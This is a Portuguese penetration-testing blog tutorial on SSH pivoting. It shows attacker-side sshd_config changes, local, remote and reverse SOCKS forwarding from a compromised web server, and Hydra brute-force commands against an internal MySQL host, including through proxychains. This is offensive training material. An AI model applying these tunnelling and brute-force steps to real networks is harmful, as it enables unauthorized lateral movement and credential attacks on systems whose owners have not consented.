Pivoting com SSH

Pivoting com SSH

Uma das ferramentas mais eficazes para o processo de Pivoting é o OpenSSH , que se destaca por sua legitimidade e confiança. Neste post, vamos explorar a utilização do OpenSSH (ou apenas SSH) para realizar pivoting em redes internas, abordando sua instalação, uso básico e exemplos práticos.

Caso você ainda não saiba o que é Pivoting, recomendo a leitura do nosso post sobre o assunto !

O que é SSH?

SSH (ou Secure Shell) é um protocolo de rede criptografado usado principalmente para operar ou administrar servidores. Ele é mais comumente utilizado para acessar remotamente sistemas Unix/Linux e permite executar comandos, transferir arquivos e até redirecionar portas de maneira segura entre hosts na rede.

O SSH funciona por meio de um modelo cliente-servidor, onde o cliente SSH se conecta ao servidor SSH usando credenciais como senha ou chaves públicas/privadas para autenticação. A comunicação entre o cliente e o servidor é criptografada, garantindo a confidencialidade e integridade dos dados trocados.

Como instalar o OpenSSH Client?

Veja abaixo como instalar o OpenSSH Client em máquinas Linux e Windows.

  • Linux
  • Windows

O Client SSH já vem instalado por padrão em todas as distribuições linux.

Nenhuma ação é necessária!

Nas últimas versões do Windows, o OpenSSH Client já vem instalado por padrão. Caso esteja em uma versão mais antiga, siga o passo a passo abaixo.

Primeiramente, abra o Powershell e execute o comando abaixo para criar um diretório e realizar o download:

mkdir C:\Tools\SSH;cd C:\Tools\SSH
IWR https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.5.0.0p1-Beta/OpenSSH-Win64.zip -OutFile OpenSSH-Win64.zip

Agora extraia os arquivos utilizando o Expand-Archive do Powershell:

Expand-Archive -Path "OpenSSH-Win64.zip" -DestinationPath "ssh" -Force

Mova os arquivos para que fiquem direto em C:\Tools\SSH:

Move-Item -Path "OpenSSH-Win64\*" -Destination "C:\Tools\SSH" -Force;Remove-Item -Path .\OpenSSH-Win64*

Caso você queira adicionar o C:\Tools\SSH no PATH para não precisar digitar o caminho do binário completo:

$env:Path += ";C:\Tools\SSH";[System.Environment]::SetEnvironmentVariable("Path", $env:Path, [System.EnvironmentVariableTarget]::User)

Exemplificando Pivoting com SSH

Para exemplificar o uso do Pivoting com SSH, veja abaixo um cenário em que o atacante precisa comprometer um servidor Web (Rede pública) que tem conectividade com um servidor de Banco de Dados da rede interna ou privada:

SSH Pivoting

Neste caso, o SSH Server seria executado na máquina do atacante, enquanto o SSH Client seria executado na máquina Web invadida, fazendo com que o atacante tenha acesso ao host 192.168.100.100.

Pivoting com SSH

Configurando o servidor SSH

Algumas opções precisam ser alteradas no sshd_config para que o SSH Server permita o encaminhamento de portas e criação de SOCKS Proxy.

Primeiro, configure o servidor SSH na sua máquina que receberá a conexão:

sudo apt update && sudo apt install openssh-server
sudo systemctl enable ssh
sudo systemctl start ssh
sudo bash -c 'echo -e "\nAllowTcpForwarding yes\nGatewayPorts yes\nPermitTunnel yes\nPermitRootLogin yes\n" >> /etc/ssh/sshd_config && systemctl restart sshd'


Warning

O PermitRootLogin é opcional, você pode conectar-se com qualquer usuário.

Realizando o Pivoting via SSH

Agora, existem três métodos que podem ser utilizados para realizar o pivoting:

1. Encaminhamento de portas local

O encaminhamento de portas local (parâmetro -L) é usado para encaminhar uma porta da máquina cliente para uma porta da máquina servidor. Basicamente, o cliente SSH escuta conexões em uma porta configurada e, quando recebe uma conexão, tunela a conexão para o servidor SSH. O servidor se conecta a uma porta de destino configurada (essa porta de destino pode ser uma máquina diferente do Servidor SSH).

Por exemplo, veja o comando abaixo:

ssh -L 81:192.168.1.105:3306 user@pivot -N

Para exemplificar um cenário, veja a explicação e imagem abaixo:

  • Estamos conectando via SSH na máquina pivot com o usuário user
  • A máquina pivot tem acesso a porta 3306 do host 192.168.1.105 (DB Server)
  • Será aberta a porta 81 na máquina cliente e, ao realizar qualquer requisição para essa porta, o tráfego será encaminhado para 192.168.1.105:3306
Pivoting com SSH - Local Forward

Agora, na máquina cliente já seria possível realizar um brute force no MySQL do host 192.168.1.105 com Hydra da seguinte maneira:

hydra -L users.txt -P passwords.txt -s 81 127.0.0.1 mysql -VI

2. Encaminhamento de portas remoto

O encaminhamento de portas remoto (parâmetro -R) é usado para encaminhar uma porta da máquina SSH Server para uma porta de outro servidor remoto (ou até mesmo uma porta local). No cenário abaixo, a porta 81 será aberta no SSH Server e a conexão será então tunelada de volta para o host do cliente e o cliente fará uma conexão TCP com a porta 3306 do host remoto.

ssh -R 81:192.168.1.105:3306 user@kali -N

Para exemplificar um cenário, veja a explicação e imagem abaixo:

  • Estamos conectando via SSH na máquina Kali com o usuário user
  • A máquina pivot tem acesso a porta 3306 do host 192.168.1.105 (DB Server)
  • Será aberta a porta 81 na máquina servidor ssh (Kali) e, ao realizar qualquer requisição para essa porta, o tráfego será encaminhado para 192.168.1.105:3306
Pivoting com SSH - Remote Forwarding

Agora, na máquina servidor já seria possível realizar um brute force no MySQL do host 192.168.1.105 com Hydra da seguinte maneira:

hydra -L users.txt -P passwords.txt -s 81 127.0.0.1 mysql -VI

3. Encaminhamento dinâmico de portas (ou SOCKS Proxy)

O encaminhamento dinâmico de portas permite a criação de um túnel entre sua máquina local e um servidor SSH remoto. Existem duas maneiras de realizar essa operação via SSH:

  • Transformando o servidor SSH em um servidor proxy
  • Transformando o cliente SSH em um servidor proxy

O encaminhamento dinâmico é bem diferente do encaminhamento de portas local e remoto: Enquanto estes dois redirecionam portas específicas para hosts específicos, o encaminhamento dinâmico permite redirecionar o tráfego de muitos hosts e portas rapidamente.

Lembre-se de que as opções AllowTcpForwarding e GatewayPorts precisam estar ligadas no sshd_config, como já falado acima na seção Configurando o servidor SSH.

3.1 Transformando o Servidor SSH em Proxy

Primeiro, vamos observar o funcionamento transformando o Servidor SSH em um servidor proxy. Essa técnica/operação também é chamada de Reverse Socks Proxy:

ssh -R 9050 user@kali

Para exemplificar o uso do Reverse Socks Proxy, veja a imagem abaixo:

Pivoting com SSH - Encaminhamento Dinâmico com -R
3.2 Transformando o Cliente SSH em Proxy

Agora vamos ver o segundo método, transformando o Cliente SSH em um servidor proxy:

ssh -D 1337 -q -C -N -f root@pivot

Veja a imagem abaixo que exemplifica o funcionamento:

Pivoting com SSH - Encaminhamento Dinâmico com -D

Agora que você já criou o socks proxy, poderá executar o Proxychains para direcionar o tráfego para o DB Server:

proxychains hydra -C users_passwords.txt mysql://192.168.100.100 -VI

Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !

Posts relacionados

Bypass do Defender utilizando substituição de strings

Bypass do Defender utilizando substituição de strings

Substituição de strings é uma das técnicas utilizadas para realizar bypass de antivírus.

Ler post completo
Atacando o Kerberos – Kerberoasting

Atacando o Kerberos – Kerberoasting

O kerberoasting é um ataque que visa explorar uma vulnerabilidade no protocolo de autenticação Kerberos, amplamente utilizado em sistemas Windows.

Ler post completo
Montar um sistema de arquivos remoto com SSHFS

Montar um sistema de arquivos remoto com SSHFS

O SSHFS (Secure Shell File System) é um recurso que permite montar sistema de arquivos remotos como se fossem diretórios locais utilizando o protocolo SSH para garantir a segurança.

Ler post completo